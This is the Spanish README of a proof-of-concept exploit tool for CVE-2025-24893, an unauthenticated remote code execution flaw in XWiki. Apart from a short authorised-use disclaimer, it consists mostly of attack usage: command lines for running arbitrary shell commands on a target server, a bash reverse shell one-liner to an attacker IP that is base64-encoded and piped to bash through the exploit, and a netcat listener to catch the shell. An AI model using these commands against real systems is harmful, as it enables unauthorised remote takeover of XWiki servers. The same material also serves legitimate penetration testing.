CVE-2025-24893 - Ejecución Remota de Código en XWiki (RCE)

Un exploit de prueba de concepto (PoC) actualizado para CVE-2025-24893, una vulnerabilidad crítica de RCE no autenticada en XWiki. Esta versión mejora la original al permitir la ejecución arbitraria de comandos shell y la inyección limpia de reverse shells.

Por: HexHunter404

⚠️ Advertencia

Este código se proporciona solo con fines educativos y de pruebas de penetración autorizadas.
No lo uses en sistemas que no poseas o para los que no tengas permiso explícito de prueba.

✨ Características

• Soporta ejecución de comandos mediante bash -c '<command>'
• Soporta completamente reverse shells (mediante base64 para evitar problemas de Groovy)
• Manejo mejorado de la salida de comandos
• Conserva la ruta /xwiki y evita bucles de redirección

🐍 Uso

python3 CVE-2025-24893-PoC.py -u http://<target>/xwiki -c "<command>"

🐚 Obteniendo una Reverse Shell

. Codifica tu reverse shell en base64

echo "bash -i >& /dev/tcp/[IP]/4444 0>&1" | base64

. Envíalo usando el PoC

python3  CVE-2025-24893-PoC.py -u [URL] -c "echo [Base64 Payload] | base64 -d | bash"

. Configura tu listener

nc -lvnp 4444

Si todo funciona, obtendrás una shell.